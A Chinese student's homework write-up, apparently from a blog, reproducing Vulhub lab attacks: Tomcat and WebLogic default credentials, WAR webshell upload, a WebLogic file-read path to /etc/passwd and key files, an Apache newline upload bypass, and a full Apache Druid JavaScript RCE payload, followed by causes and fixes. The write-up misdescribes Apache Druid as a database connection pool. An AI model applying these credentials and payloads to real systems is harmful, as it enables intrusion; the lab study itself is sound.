毕业实习-第八次作业

目录

一.vps安装docker和docker-compose

二.vulhub漏洞

1.tomcat 弱口令/后台文件上传getshell

弱口令

后台文件上传getshell

2.weblogic 弱口令/任意文件读取

弱口令

任意文件读取

3.apache 换行解析/drud RCE

httpd 换行解析

drud RCE

各漏洞成因

三.RCE漏洞的原理、利用条件及解决方案

原理

利用条件

解决方案


1.在vps安装docker和docker-compose

2.上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因

3.总结RCE漏洞的原理和利用条件及解决方案

一.vps安装docker和docker-compose

apt install docker.io -y

apt-get install docker-compose

二.vulhub漏洞

1.tomcat 弱口令/后台文件上传getshell
弱口令

登录存在弱口令

账号:tomcat

密码:tomcat

成功登录

后台文件上传getshell

将上面的jsp木马写在文档里,通过jar -cvf shell.war x.jsp生成shell.war,上传文件

通过蚁剑连接

2.weblogic 弱口令/任意文件读取

在vulhub靶场启动weblogic,浏览器打开http://120.26.231.217:7001/console进入后台

弱口令

存在弱口令
账号:weblogic

密码:Oracle@123

weblogic常见弱口令总结

  • system:password
  • weblogic:weblogic
  • admin:secruity
  • joe:password
  • mary:password
  • system:sercurity
  • wlcsystem: wlcsystem
  • weblogic:Oracle@123

任意文件读取

非弱口令情况

访问http://120.26.231.217:7001/hello/file.jsp?path=/etc/passwd可成功读取passwd文件

  • weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
  • SerializedSystemIni.dat是一个二进制文件,用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,就是密钥,右键copy to file就可以保存成一个文件

SerializedSystemIni.dat

抓包http://120.26.231.217:7001/hello/file.jsp?path=security/SerializedSystemIni.dat

另存响应文本,保存为SerializedSystemIni.dat

config.xml

抓包http://120.26.231.217:7001/hello/file.jsp?path=config/config.xml

在响应信息中找到密钥,复制密钥备用

打开weblogic_decrypt.jar解密工具,进行解密

登录、部署、安装

上载文件

上传文件shell.war
生成方式:jar -cvf shell.war x.jsp

下一步,直到完成
蚁剑连接(war文件部署后会解压为shell.jsp)120.26.231.217:7001/shell/shell.jsp

防御和修复

1.设置Config.do页面登录授权后访问;

2.IPS等防御产品可以加入相应的特征;

3.升级到官方最新版本

3.apache 换行解析/drud RCE
httpd 换行解析

1.查看index.php文件内容

2.上传正常的.php文件会被黑名单拦截

3.抓包修改,在.php后面插入一个\x0A【即换行符的十六进制】

成功上传

4.访问上传的evil.php%0A

drud RCE

2核2G的bb机跑炸了,用本机kali做

1.访问8888端口进入Druid console控制台界面,点击Load data -->Local disk

2.逐步添加以下内容:

  • Base directory: quickstart/tutorial/
  • File filter: wikiticker-2015-09-12-sampled.json.gz

3.先开启BP抓包,然后点击Apply

修改POST请求包为以下内容:

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}

成功执行其中的js中的id命令

各漏洞成因

漏洞名称

漏洞成因

漏洞成因

3. Tomcat 弱口令/后台文件上传getshell

弱口令漏洞
Tomcat服务器的登录密码设置过于简单或易于猜测,攻击者可以通过暴力破解或字典攻击等手段获取管理员权限。<br>-

后台文件上传getshell
Tomcat服务器或部署在Tomcat上的Web应用程序存在文件上传漏洞,攻击者可以上传恶意文件(如Webshell),并通过该恶意文件执行任意命令,获取服务器的shell权限,从而完全控制服务器。

1. Weblogic 弱口令/任意文件读取

弱口令漏洞
在搭建Weblogic后,未修改后台的默认密码或密码设置过于简单,导致攻击者可以通过弱口令登录,获取服务器管理员权限

任意文件读取漏洞
对用户输入内容没有进行限制与过滤,攻击者可以构造特定请求,读取服务器上的任意文件,包括敏感配置文件和数据库文件等

2. Apache 换行解析/Druid RCE

换行解析漏洞
Apache HTTP服务器在处理文件上传或URL请求时,由于配置错误或解析漏洞,导致当文件名中包含换行符(\x0a)时,服务器可能错误地将文件解析为可执行脚本(如PHP),从而允许执行恶意代码。

Druid RCE(远程代码执行)
Druid是一个常用的数据库连接池组件,在某些版本中,由于未对外部输入进行充分验证和过滤,攻击者可以通过构造恶意请求,利用Druid的某些功能执行任意代码,从而控制服务器。

三.RCE漏洞的原理、利用条件及解决方案

原理

RCE(远程代码执行)漏洞的原理在于攻击者能够向目标系统发送恶意输入,这些输入被目标系统不当处理或未进行充分验证,导致系统执行了攻击者指定的代码。这通常发生在应用程序需要从用户那里接收输入,并将其作为代码或命令的一部分来执行时。如果应用程序没有对这些输入进行严格的验证和过滤,攻击者就可以构造恶意输入,从而控制目标系统。

具体来说,RCE漏洞可能发生在以下几种情况:

  1. 系统命令注入:在Web应用中,如果应用程序在执行系统命令时使用了用户输入的数据且未进行充分过滤,就可能出现命令注入漏洞。攻击者可以通过注入恶意命令来执行任意代码。
  2. 代码注入:在动态脚本语言中较为常见,如PHP、Python等。如果应用程序允许用户输入的内容被直接作为代码执行,就可能出现代码注入漏洞。
  3. 模板注入:当服务器端模板引擎在处理用户输入时没有进行充分的安全检查,攻击者可以通过构造恶意输入来执行任意代码。
  4. 反序列化漏洞:如果应用程序在反序列化用户输入的数据时没有进行充分的安全检查,攻击者可以构造恶意的序列化数据,导致在反序列化过程中执行任意代码。
利用条件

RCE漏洞的利用条件主要包括以下几点:

  1. 存在未经验证的输入:目标系统需要从用户那里接收输入,并且这些输入被用于执行代码或命令。
  2. 输入处理不当:目标系统没有对用户输入进行严格的验证和过滤,或者验证和过滤机制存在缺陷。
  3. 代码执行权限:攻击者需要能够构造出被目标系统执行的恶意代码或命令。
  4. 系统配置缺陷:目标系统的配置可能存在缺陷,使得攻击者能够更容易地利用RCE漏洞。
解决方案

针对RCE漏洞,可以采取以下解决方案来降低风险:

  1. 严格验证和过滤用户输入:对所有用户输入进行严格的验证和过滤,确保它们符合预期的格式和类型,并且不包含恶意代码或命令。
  2. 使用安全的编程实践:避免使用不安全的函数或方法,如eval()、system()等,这些函数或方法可能会执行用户输入的代码或命令。
  3. 最小化权限:确保应用程序以最小权限运行,即使发生RCE漏洞,攻击者也只能获得有限的访问权限。
  4. 使用安全的库和框架:选择经过安全审计和广泛使用的库和框架,它们通常包含更多的安全特性和修复了更多的安全漏洞。
  5. 定期更新和修补:定期更新和修补应用程序及其依赖的库和框架,以修复已知的安全漏洞。
  6. 监控和日志记录:实施监控和日志记录机制,以便在发生安全事件时能够及时发现和响应。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值